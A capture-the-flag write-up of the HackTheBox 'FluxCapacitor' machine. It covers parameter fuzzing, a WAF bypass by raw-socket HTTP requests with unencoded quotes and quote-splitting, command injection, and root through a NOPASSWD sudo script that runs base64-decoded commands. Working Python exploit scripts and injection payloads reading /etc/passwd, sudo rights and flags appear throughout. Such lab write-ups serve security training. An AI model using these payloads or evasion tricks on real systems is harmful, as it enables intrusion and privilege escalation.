HTB: FluxCapacitor Writeup

FluxCapacitor - HackTheBox Writeup

Machine Information

AttributeDetails
NameFluxCapacitor
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.1.87
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐☆☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

FluxCapacitor is a Medium-difficulty Linux machine that demonstrates the challenges of exploiting command injection vulnerabilities protected by a Web Application Firewall (WAF). The machine presents only a single HTTP service running OpenResty 1.13.6.1 with a custom “SuperWAF” that filters common injection payloads. The initial foothold requires discovering a hidden parameter through fuzzing, then carefully crafting raw HTTP requests that bypass WAF regex patterns while maintaining valid command injection syntax. Privilege escalation is trivial once shell access is obtained, as a NOPASSWD sudo entry allows direct execution of arbitrary commands as root.

TL;DR: Parameter fuzzing → WAF bypass via raw socket injection (unencoded quotes + quote-splitting) → command injection → sudo NOPASSWD script → root


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.1.87

Results:

Only port 80/tcp was open, running OpenResty 1.13.6.1. The HTTP response headers revealed a custom Server: SuperWAF header, indicating the presence of a web application firewall.

Service Enumeration

HTTP Service Analysis

Initial requests to the web server using a Firefox user-agent returned 403 Forbidden errors. Testing revealed that any User-Agent header containing the string “Mozilla” was blocked by the WAF.

Terminal window
# Request without Mozilla in UA succeeds
curl http://10.129.1.87/
# Testing the /sync endpoint
curl http://10.129.1.87/sync
# Returns: timestamp (e.g., "1621845320")

The /sync endpoint returned a Unix timestamp, suggesting some backend processing was occurring.

Parameter Fuzzing

Using a parameter wordlist to fuzz the /sync endpoint:

Terminal window
# Fuzzing for valid parameters
wfuzz -c -z file,burp-parameter-names.txt \
--hh=19 http://10.129.1.87/sync?FUZZ=test

The parameter opt was discovered, which changed the response behavior and returned a 403 Forbidden error with certain inputs, indicating it was being processed differently by the WAF.

Vulnerability Assessment

  1. Command Injection: The opt parameter appeared to be passed to a backend command execution function
  2. WAF Protection: A custom WAF filtered various characters and patterns commonly used in command injection
  3. User-Agent Filtering: Requests with “Mozilla” in the User-Agent were blocked
  4. Sudo Misconfiguration: Later discovered NOPASSWD sudo entry for a monitoring script

Initial Foothold

Understanding the Injection Point

Based on the server’s behavior and response patterns, the backend code was executing something similar to:

-- OpenResty/Lua pseudo-code
opt = ngx.var.arg_opt
cmd = "/home/themiddle/checksync " .. opt
io.popen("CMD='" .. cmd .. "'; bash -c ${CMD} 2>&1")

This meant the opt parameter was being passed to a shell command, creating a command injection vulnerability if the WAF could be bypassed.

The WAF Challenge

The “SuperWAF” implemented multiple filtering layers:

  1. URL-decoding sanitization: The re-released version of this box sanitizes URL-encoded input, neutralizing the common %27 (encoded single-quote) bypass technique
  2. String length filters: Strings longer than 2 characters in certain positions triggered 403 errors
  3. Metacharacter blocking: Common injection characters were filtered
  4. Command word blacklist: Common Linux commands were blocked

Bypass Technique Discovery

After extensive testing, the successful bypass strategy involved:

1. Raw, unencoded special characters via Python socket

The key insight was that sending raw unencoded single quotes and spaces directly in the HTTP request line bypassed the WAF’s regex patterns while nginx/OpenResty still correctly parsed the opt parameter:

#!/usr/bin/env python3
import socket
# Craft raw HTTP request with unencoded special characters
# The single quote ' breaks out of the command string context
payload = "' { /usr/bin/cat /etc/passwd }"
request = f"GET /sync?opt={payload} HTTP/1.1\r\n"
request += "Host: 10.129.1.87\r\n"
request += "User-Agent: Custom\r\n" # Avoid "Mozilla"
request += "Connection: close\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.129.1.87", 80))
s.send(request.encode())
response = s.recv(4096)
print(response.decode())
s.close()

2. Quote-splitting to bypass command word filters

Even with raw characters, the WAF blocked known command words. The bypass used adjacent empty quotes to split strings:

  • catc''at
  • .monit.m''onit
  • sudosu''do

3. Full paths required

The worker process ran with an empty PATH environment variable, requiring full paths to binaries:

  • /bin/cat instead of cat
  • /usr/bin/sudo instead of sudo

4. Brace-group syntax for output capture

To capture command output in the HTTP response, the payload required the brace-group form:

Terminal window
# This format: opt=' { command }'
# Ensures stdout is captured in the response
opt=' { /usr/bin/w''hoami }'

Enumeration via Command Injection

With working command injection, I enumerated the system:

# Read /etc/passwd
payload = "' { /bin/c''at /etc/passwd }"
# Check sudo permissions
payload = "' { /usr/bin/su''do -l }"
# Output showed: (root) NOPASSWD: /home/themiddle/.monit

Privilege Escalation Discovery

The sudo enumeration revealed:

User nobody may run the following commands on fluxcapacitor:
(root) NOPASSWD: /home/themiddle/.monit

Examining the .monit script:

# Read the script
payload = "' { /bin/c''at /home/themiddle/.m''onit }"

The script accepted two arguments:

  1. First argument must be cmd
  2. Second argument is a Base64-encoded command that gets executed

Privilege Escalation

Exploiting the NOPASSWD Sudo Entry

The .monit script provides a direct path to root by accepting Base64-encoded commands:

#!/usr/bin/env python3
import socket
import base64
# Encode the command to read root flag
command = "/bin/cat /root/root.txt"
b64_command = base64.b64encode(command.encode()).decode()
# Build the injection payload
# sudo /home/themiddle/.monit cmd <base64_command>
payload = f"' {{ /usr/bin/su''do /home/themiddle/.m''onit cmd {b64_command} }}"
request = f"GET /sync?opt={payload} HTTP/1.1\r\n"
request += "Host: 10.129.1.87\r\n"
request += "User-Agent: Custom\r\n"
request += "Connection: close\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.129.1.87", 80))
s.send(request.encode())
response = s.recv(4096)
print(response.decode())
s.close()

This immediately provided the root flag. The same technique worked for reading the user flag:

# User flag
command = "/bin/cat /home/themiddle/user.txt"
b64_command = base64.b64encode(command.encode()).decode()
payload = f"' {{ /usr/bin/su''do /home/themiddle/.m''onit cmd {b64_command} }}"

Why This Works

The .monit script decodes the Base64 argument and executes it as root without any input validation:

#!/bin/bash
# Simplified logic of .monit
if [ "$1" = "cmd" ]; then
command=$(echo "$2" | base64 -d)
eval "$command" # Executed as root via sudo
fi

The NOPASSWD configuration means no password is required, and the nobody user can execute this script directly as root.


Attack Chain Summary

Port 80 (OpenResty) → Parameter fuzzing discovers 'opt' →
Raw socket HTTP bypasses WAF sanitization →
Command injection via unencoded quotes →
Enumerate sudo -l → NOPASSWD /home/themiddle/.monit →
Base64-encode arbitrary commands → Root

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wfuzzHTTP parameter fuzzing
curlHTTP request testing
pythonCrafting raw socket requests for WAF bypass
base64Encoding commands for .monit script

Key Learnings

Techniques Practiced

  • HTTP parameter fuzzing to discover hidden functionality
  • Web Application Firewall (WAF) evasion through raw socket manipulation
  • Bypassing input filters using quote-splitting and full paths
  • Exploiting NOPASSWD sudo misconfigurations
  • Command injection in constrained environments

Lessons Learned

  1. URL-encoding is not always a bypass: Modern or updated WAFs may sanitize URL-encoded input before applying regex filters. Testing both encoded and raw character injection is essential.

  2. Raw HTTP socket manipulation bypasses application-layer filters: When standard HTTP clients fail, crafting requests at the socket level can slip past WAF patterns that rely on normalized input.

  3. Quote-splitting defeats simple string matching: Adjacent empty quotes (c''at) break up command words while bash removes them during execution, bypassing blacklist filters.

  4. Environment matters in command injection: An empty PATH variable requires using full paths to all binaries (/usr/bin/sudo vs sudo).

  5. NOPASSWD sudo entries are instant root: Any script or binary granted NOPASSWD sudo should be treated as a direct privilege escalation vector, especially if it accepts user-controlled input.

  6. Brace groups capture stdout: In bash command substitution contexts, wrapping commands in { } ensures output is properly captured and returned.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup - FluxCapacitor (Document No. D18.100.04) by Alexander Reid (Arrexel)